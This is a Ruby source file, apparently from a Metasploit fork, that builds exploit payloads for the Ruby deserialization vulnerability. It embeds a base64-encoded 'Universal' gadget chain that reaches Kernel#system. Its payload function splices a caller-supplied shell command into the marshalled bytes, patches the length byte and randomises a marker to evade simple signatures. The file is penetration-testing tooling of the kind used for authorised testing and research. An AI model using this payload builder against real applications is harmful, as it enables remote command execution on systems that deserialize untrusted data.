Files
metasploit-gs/lib/msf/util/ruby_deserialization.rb
T
2022-11-29 15:25:14 +01:00

45 lines
1.6 KiB
Ruby

# -*- coding: binary -*-
# Ruby deserialization Utility
module Msf
module Util
# Ruby deserialization class
class RubyDeserialization
# That could be in the future a list of payloads used to exploit the Ruby deserialization vulnerability.
# TODO: Add more payloads
# TDOO: Create a json file with the payloads?
PAYLOADS = {
'Universal' => {
'status' => 'dynamic',
'length_offset' => 309,
'buffer_offset' => 310,
# https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
'bytes' => 'BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIhlTR1Y1WkdWeVFXNWtjbUZrWlNBZwY6BkVUOhJAZGVidWdfb3V0cHV0bzoWTmV0OjpXcml0ZUFkYXB0ZXIHOgxAc29ja2V0bzoUR2VtOjpSZXF1ZXN0U2V0BzoKQHNldHNvOw4HOw9tC0tlcm5lbDoPQG1ldGhvZF9pZDoLc3lzdGVtOg1AZ2l0X3NldEkiBQY7DFQ7EjoMcmVzb2x2ZQ=='
}
}.freeze
def self.payload(payload_name, command = nil)
payload = PAYLOADS[payload_name]
raise ArgumentError, "#{payload_name} payload not found in payloads" if payload.nil?
bytes = Rex::Text.decode_base64(payload['bytes'])
length = [command.length.ord + 5 ].pack('C*')
bytes[payload['buffer_offset'] - 1] += command
bytes[payload['length_offset']] = length
bytes.gsub!('SGV5ZGVyQW5kcmFkZSAg', Rex::Text.rand_text_alphanumeric(20))
bytes
end
def self.payload_names
PAYLOADS.keys
end
end
end
end